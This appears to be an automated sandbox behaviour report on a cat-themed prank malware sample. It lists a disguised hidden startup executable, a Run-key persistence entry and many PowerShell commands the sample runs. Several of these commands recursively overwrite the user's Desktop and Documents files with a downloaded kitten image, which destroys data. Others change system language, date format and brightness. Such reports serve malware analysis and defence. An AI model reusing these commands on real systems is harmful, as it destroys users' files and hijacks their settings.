Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'MsUpdate_r9z047' = '%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msupdate_kzox8q.exe'
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\msupdate_kzox8q.exe
Modifies file system
Creates the following files
- %HOMEPATH%\desktop\i_am_a_cat.txt
- %HOMEPATH%\desktop\if_i_fits_i_sits.txt
- %HOMEPATH%\desktop\do_not_open.txt
- %HOMEPATH%\desktop\pspspsps.txt
- %HOMEPATH%\desktop\your_clippboard_is_mine.txt
- %HOMEPATH%\desktop\nap_time.txt
- %HOMEPATH%\desktop\meow_meow_meow.txt
- %HOMEPATH%\desktop\cat_facts.txt
- %HOMEPATH%\desktop\open_me.txt
- %HOMEPATH%\desktop\hiss.txt
- %HOMEPATH%\desktop\cat.exe.txt
Sets the 'hidden' attribute to the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\msupdate_kzox8q.exe
Miscellaneous
Searches for the following windows
- ClassName: 'Progman' WindowName: ''
- ClassName: 'SHELLDLL_DefView' WindowName: ''
- ClassName: 'SysListView32' WindowName: ''
Executes the following
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Invoke-WebRequest -Uri 'https://placekitten.com/500/500' -OutFile '%TEMP%\cat_replace.jpg' -UseBasicParsing" 2>nul
- '<SYSTEM32>\cmd.exe' /c powershell -ExecutionPolicy Bypass -Command "Get-ChildItem -Path 'C:\Users' -Recurse -File -ErrorAction SilentlyContinue | Where-Object { $_.FullName -notmatch 'Windows|AppData|\.ms' } | For...
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Invoke-WebRequest -Uri 'https://placekitten.com/200/200' -OutFile '%TEMP%\cat_wp_ord91x.jpg' -UseBasicParsing; (New-Object -ComObject WScript.Shell).RegRead('HKCU\Contro...
- '<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,61)" 2>nul
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Add-Type -AssemblyName System.Windows.Forms; $b=New-Object System.Windows.Forms.NotifyIcon; $b.Icon=[System.Drawing.SystemIcons]::Warning; $b.BalloonTipTitle='CAT ALERT'...
- '<SYSTEM32>\cmd.exe' /c powershell -Command "[reflection.assembly]::loadwithpartialname('System.Windows.Forms'); $n=New-Object System.Windows.Forms.NotifyIcon; $n.Icon=[System.Drawing.SystemIcons]::Information; $n....
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Set-WinUserLanguageList -LanguageList @('en-US','fr-FR','de-DE','es-ES','ja-JP','ru-RU','ko-KR','ar-SA','zh-CN','hi-IN') -Force" 2>nul
- '<SYSTEM32>\cmd.exe' /c start https://www.reddit.com/r/cats
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Set-Culture -CultureInfo 'en-US'; (Get-Culture).DateTimeFormat.ShortDatePattern='dd.MM.yyyy'" 2>nul
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Get-ChildItem -Path '%HOMEPATH%\Desktop','%HOMEPATH%\Documents' -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object { Copy-Item '%TEMP%\cat_replace.jpg' -Desti...
- '<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,20)" 2>nul
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Set-Culture -CultureInfo 'en-US'; (Get-Culture).DateTimeFormat.ShortDatePattern='M/d/yy'" 2>nul
- '<SYSTEM32>\cmd.exe' /c start https://www.youtube.com/results?search_query=funny+cats
- '<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,62)" 2>nul
- '<SYSTEM32>\cmd.exe' /c explorer %WINDIR%\assembly
- '<SYSTEM32>\cmd.exe' /k type %WINDIR%\win.ini
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Add-Type -AssemblyName System.Speech; $s=New-Object System.Speech.Synthesis.SpeechSynthesizer; $s.Rate=-1; $s.Volume=100; $s.Speak('Mrow. Mrow. Mrow. The cat is singing ...
- '<SYSTEM32>\cmd.exe' /c powershell -Command "$ws=New-Object -ComObject WScript.Shell; $s=$ws.CreateShortcut('%HOMEPATH%\Desktop\CAT_novd7d.lnk'); $s.TargetPath='mspaint.exe'; $s.Save()" 2>nul
- '<SYSTEM32>\cmd.exe' /c start https://www.speedtest.net
- '<SYSTEM32>\control.exe' keyboard
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Set-Culture -CultureInfo 'en-US'; (Get-Culture).DateTimeFormat.ShortDatePattern='ddd dd MMM yyyy'" 2>nul
- '<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,32)" 2>nul
- '<SYSTEM32>\cmd.exe' /c powershell -Command "$ws=New-Object -ComObject WScript.Shell; $s=$ws.CreateShortcut('%HOMEPATH%\Desktop\CAT_4wv23h.lnk'); $s.TargetPath='calc.exe'; $s.Save()" 2>nul
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Invoke-WebRequest -Uri 'https://placekitten.com/500/500' -OutFile '%TEMP%\cat_replace.jpg' -UseBasicParsing"
- '<SYSTEM32>\cmd.exe' /k echo PSPSPSPSPSPSPSPSPSPS
- '<SYSTEM32>\cmd.exe' /c explorer %WINDIR%\Prefetch
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Set-Culture -CultureInfo 'en-US'; (Get-Culture).DateTimeFormat.ShortDatePattern='M/d/yy'"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,61)"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Get-ChildItem -Path '%HOMEPATH%\Desktop','%HOMEPATH%\Documents' -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object { Copy-Item '%TEMP%\cat_replace.jpg' -Destination $_.Full...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Set-WinUserLanguageList -LanguageList @('en-US','fr-FR','de-DE','es-ES','ja-JP','ru-RU','ko-KR','ar-SA','zh-CN','hi-IN') -Force"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-Type -AssemblyName System.Windows.Forms; $b=New-Object System.Windows.Forms.NotifyIcon; $b.Icon=[System.Drawing.SystemIcons]::Warning; $b.BalloonTipTitle='CAT ALERT'; $b.BalloonTi...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Invoke-WebRequest -Uri 'https://placekitten.com/200/200' -OutFile '%TEMP%\cat_wp_ord91x.jpg' -UseBasicParsing; (New-Object -ComObject WScript.Shell).RegRead('HKCU\Control Panel\Deskto...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,20)"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "[reflection.assembly]::loadwithpartialname('System.Windows.Forms'); $n=New-Object System.Windows.Forms.NotifyIcon; $n.Icon=[System.Drawing.SystemIcons]::Information; $n.Visible=$true;...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Set-Culture -CultureInfo 'en-US'; (Get-Culture).DateTimeFormat.ShortDatePattern='dd.MM.yyyy'"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,62)"
- '<SYSTEM32>\cmd.exe' /c powershell -Command "$ws=New-Object -ComObject WScript.Shell; $s=$ws.CreateShortcut('%HOMEPATH%\Desktop\CAT_yxkpns.lnk'); $s.TargetPath='https://www.youtube.com/results?search_query=cat+vide...
- '<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,90)" 2>nul
- '<SYSTEM32>\cmd.exe' /c explorer %WINDIR%\Fonts
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-Type -AssemblyName System.Speech; $s=New-Object System.Speech.Synthesis.SpeechSynthesizer; $s.Rate=-1; $s.Volume=100; $s.Speak('Mrow. Mrow. Mrow. The cat is singing the song of it...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "$ws=New-Object -ComObject WScript.Shell; $s=$ws.CreateShortcut('%HOMEPATH%\Desktop\CAT_novd7d.lnk'); $s.TargetPath='mspaint.exe'; $s.Save()"
- '<SYSTEM32>\control.exe' mouse
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Add-Type -AssemblyName System.Speech; $s=New-Object System.Speech.Synthesis.SpeechSynthesizer; $s.Rate=1; $s.Volume=100; $s.Speak('Mrow. Mrow. Mrow. The cat is singing t...
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $b=New-Object System.Drawing.Bitmap(200,200); $g=[System.Drawing.Graphics]::FromImage...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Set-Culture -CultureInfo 'en-US'; (Get-Culture).DateTimeFormat.ShortDatePattern='ddd dd MMM yyyy'"
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Invoke-WebRequest -Uri 'https://placekitten.com/500/500' -OutFile '%TEMP%\cat_replace.jpg' -UseBasicParsing" 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -ExecutionPolicy Bypass -Command "Get-ChildItem -Path 'C:\Users' -Recurse -File -ErrorAction SilentlyContinue | Where-Object { $_.FullName -notmatch 'Windows|AppData|\.ms' } | For...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Invoke-WebRequest -Uri 'https://placekitten.com/200/200' -OutFile '%TEMP%\cat_wp_ord91x.jpg' -UseBasicParsing; (New-Object -ComObject WScript.Shell).RegRead('HKCU\Contro...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,61)" 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Add-Type -AssemblyName System.Windows.Forms; $b=New-Object System.Windows.Forms.NotifyIcon; $b.Icon=[System.Drawing.SystemIcons]::Warning; $b.BalloonTipTitle='CAT ALERT'...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "[reflection.assembly]::loadwithpartialname('System.Windows.Forms'); $n=New-Object System.Windows.Forms.NotifyIcon; $n.Icon=[System.Drawing.SystemIcons]::Information; $n....' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Set-WinUserLanguageList -LanguageList @('en-US','fr-FR','de-DE','es-ES','ja-JP','ru-RU','ko-KR','ar-SA','zh-CN','hi-IN') -Force" 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Set-Culture -CultureInfo 'en-US'; (Get-Culture).DateTimeFormat.ShortDatePattern='dd.MM.yyyy'" 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Get-ChildItem -Path '%HOMEPATH%\Desktop','%HOMEPATH%\Documents' -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object { Copy-Item '%TEMP%\cat_replace.jpg' -Desti...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,20)" 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Set-Culture -CultureInfo 'en-US'; (Get-Culture).DateTimeFormat.ShortDatePattern='M/d/yy'" 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,62)" 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Add-Type -AssemblyName System.Speech; $s=New-Object System.Speech.Synthesis.SpeechSynthesizer; $s.Rate=-1; $s.Volume=100; $s.Speak('Mrow. Mrow. Mrow. The cat is singing ...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "$ws=New-Object -ComObject WScript.Shell; $s=$ws.CreateShortcut('%HOMEPATH%\Desktop\CAT_novd7d.lnk'); $s.TargetPath='mspaint.exe'; $s.Save()" 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Set-Culture -CultureInfo 'en-US'; (Get-Culture).DateTimeFormat.ShortDatePattern='ddd dd MMM yyyy'" 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,32)" 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "$ws=New-Object -ComObject WScript.Shell; $s=$ws.CreateShortcut('%HOMEPATH%\Desktop\CAT_4wv23h.lnk'); $s.TargetPath='calc.exe'; $s.Save()" 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "$ws=New-Object -ComObject WScript.Shell; $s=$ws.CreateShortcut('%HOMEPATH%\Desktop\CAT_yxkpns.lnk'); $s.TargetPath='https://www.youtube.com/results?search_query=cat+vide...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "(Get-WmiObject -Namespace root/WMI -Class WmiMonitorBrightnessMethods).WmiSetBrightness(1,90)" 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Add-Type -AssemblyName System.Speech; $s=New-Object System.Speech.Synthesis.SpeechSynthesizer; $s.Rate=1; $s.Volume=100; $s.Speak('Mrow. Mrow. Mrow. The cat is singing t...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $b=New-Object System.Drawing.Bitmap(200,200); $g=[System.Drawing.Graphics]::FromImage...' (with hidden window)
